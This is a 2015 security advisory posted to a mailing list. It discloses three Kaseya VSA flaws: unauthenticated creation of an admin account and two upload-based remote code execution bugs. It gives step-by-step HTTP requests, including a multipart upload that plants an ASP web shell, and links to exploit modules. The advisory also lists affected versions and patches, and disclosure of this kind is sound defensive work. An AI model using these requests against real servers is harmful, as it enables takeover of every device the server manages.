Remote privesc and RCE in Kaseya Virtual System Administrator

[Pedro Ribeiro <pedrib () gmail com>]

Hi,

I have found 3 vulnerabilities in Kaseya's flagship product:
- unauthenticated remote code execution (CVE-2015-6922 / ZDI-15-449)
- unauthenticated remote privilege escalation (CVE-2015-6922 / ZDI-15-448)
- authenticated remote code execution (CVE-2015-6589 / ZDI-15-450)

Kaseya VSA is an IT management platform for small and medium corporates.
From its console you can control thousands of computers and mobile
devices. So that if you own the Kaseya server, you own the organisation.
With this post I'm also releasing two Metasploit modules ([E1], [E2])
and a Ruby file ([E3]) that exploit the vulnerabilities described below.

A special thanks to ZDI for assisting with the disclosure of these
vulnerabilities. The full advisory text is below, but can also be
obtained from my repo at [E4].

[E1] https://github.com/rapid7/metasploit-framework/pull/6018
[E2] https://github.com/rapid7/metasploit-framework/pull/6019
[E3] https://raw.githubusercontent.com/pedrib/PoC/master/exploits/kazPwn.rb
[E4]
https://raw.githubusercontent.com/pedrib/PoC/master/advisories/kaseya-vsa-vuln-2.txt

Regards,
Pedro

============

> > Multiple vulnerabilities in Kaseya Virtual System Administrator
> > Discovered by Pedro Ribeiro (pedrib () gmail com), Agile Information
Security (http://www.agileinfosec.co.uk/)
==========================================================================
Disclosure: 23/09/2015 / Last updated: 28/09/2015

> > Background on the affected product:
"Kaseya VSA is an integrated IT Systems Management platform that can be
leveraged seamlessly across IT disciplines to streamline and automate
your IT services. Kaseya VSA integrates key management capabilities into
a single platform. Kaseya VSA makes your IT staff more productive, your
services more reliable, your systems more secure, and your value easier
to show."

A special thanks to ZDI for assisting with the vulnerability reporting
process.
These vulnerabilities were disclosed by ZDI under IDs ZDI-15-448 [1],
ZDI-15-449 [2] and ZDI-15-450 [3] on 23/09/2015.


> > Technical details:
#1
Vulnerability: Remote privilege escalation (add Master Administrator
account - unauthenticated)
CVE-2015-6922 / ZDI-15-448
Affected versions:
VSA Version 7.0.0.0 – 7.0.0.32
VSA Version 8.0.0.0 – 8.0.0.22
VSA Version 9.0.0.0 – 9.0.0.18
VSA Version 9.1.0.0 – 9.1.0.8

GET /LocalAuth/setAccount.aspx
Page will attempt to redirect, ignore this and obtain the "sessionVal"
value from the page which will be used in the following POST request.

POST /LocalAuth/setAccount.aspx
sessionVal=<sessionVal>&adminName=<username>&NewPassword=<password>&confirm=<password>&adminEmail=bla () bla 
com&setAccount=Create

You are now a Master Administrator and can execute code in all the
managed desktops and mobile devices.
A Metasploit module that exploits this vulnerability has been released.


#2
Vulnerability: Remote code execution via file upload with directory
traversal (unauthenticated)
CVE-2015-6922 / ZDI-15-449
Affected versions:
VSA Version 7.0.0.0 – 7.0.0.32
VSA Version 8.0.0.0 – 8.0.0.22
VSA Version 9.0.0.0 – 9.0.0.18
VSA Version 9.1.0.0 – 9.1.0.8

First we do:
GET /ConfigTab/serverfiles.asp
which will respond with a 302 redirect to /mainLogon.asp?logout=<sessionID>
Thanks for creating a valid sessionID for us, Kaseya!

POST
/ConfigTab/uploader.aspx?PathData=C%3A%5CKaseya%5CWebPages%5C&qqfile=shell.asp
Cookie: sessionId=<sessionID>
<... ASP shell here...>

The path needs to be correct, but Kaseya is helpful enough to let us
know when a path doesn't exist.
A Metasploit module that exploits this vulnerability has been released.


#3
Vulnerability: Remote code execution via file upload with directory
traversal (authenticated)
CVE-2015-6589 / ZDI-15-450
Affected versions:
VSA Version 7.0.0.0 – 7.0.0.32
VSA Version 8.0.0.0 – 8.0.0.22
VSA Version 9.0.0.0 – 9.0.0.18
VSA Version 9.1.0.0 – 9.1.0.8

Login to the VSA console and obtain ReferringWebWindowId from the URL
(wwid parameter).
Create a POST request as below with the ReferringWebWindowId:

POST /vsapres/web20/json.ashx HTTP/1.1
Content-Type: multipart/form-data;
boundary=---------------------------114052411119142
Content-Length: 1501

-----------------------------114052411119142
Content-Disposition: form-data; name="directory"

../WebPages
-----------------------------114052411119142
Content-Disposition: form-data; name="ReferringWebWindowId"

31a5d16a-01b7-4f8d-adca-0b2e70006dfa
-----------------------------114052411119142
Content-Disposition: form-data; name="request"

uploadFile
-----------------------------114052411119142
Content-Disposition: form-data; name="impinf__uploadfilelocation";
filename="shell.asp"
Content-Type: application/octet-stream

<... ASP shell here...>

-----------------------------114052411119142--

A Ruby exploit (kazPwn.rb) that abuses this vulnerability has also been
been released [4].


> > Fix:
V7 – Install patch 7.0.0.33
R8 – Install patch 8.0.0.23
R9 – Install patch 9.0.0.19
R9.1 – Install patch 9.1.0.9


> > References:
[1] http://zerodayinitiative.com/advisories/ZDI-15-448/
[2] http://zerodayinitiative.com/advisories/ZDI-15-449/
[3] http://zerodayinitiative.com/advisories/ZDI-15-450/
[4] https://raw.githubusercontent.com/pedrib/PoC/master/exploits/kazPwn.rb

================
Agile Information Security Limited
http://www.agileinfosec.co.uk/
> > Enabling secure digital business >>

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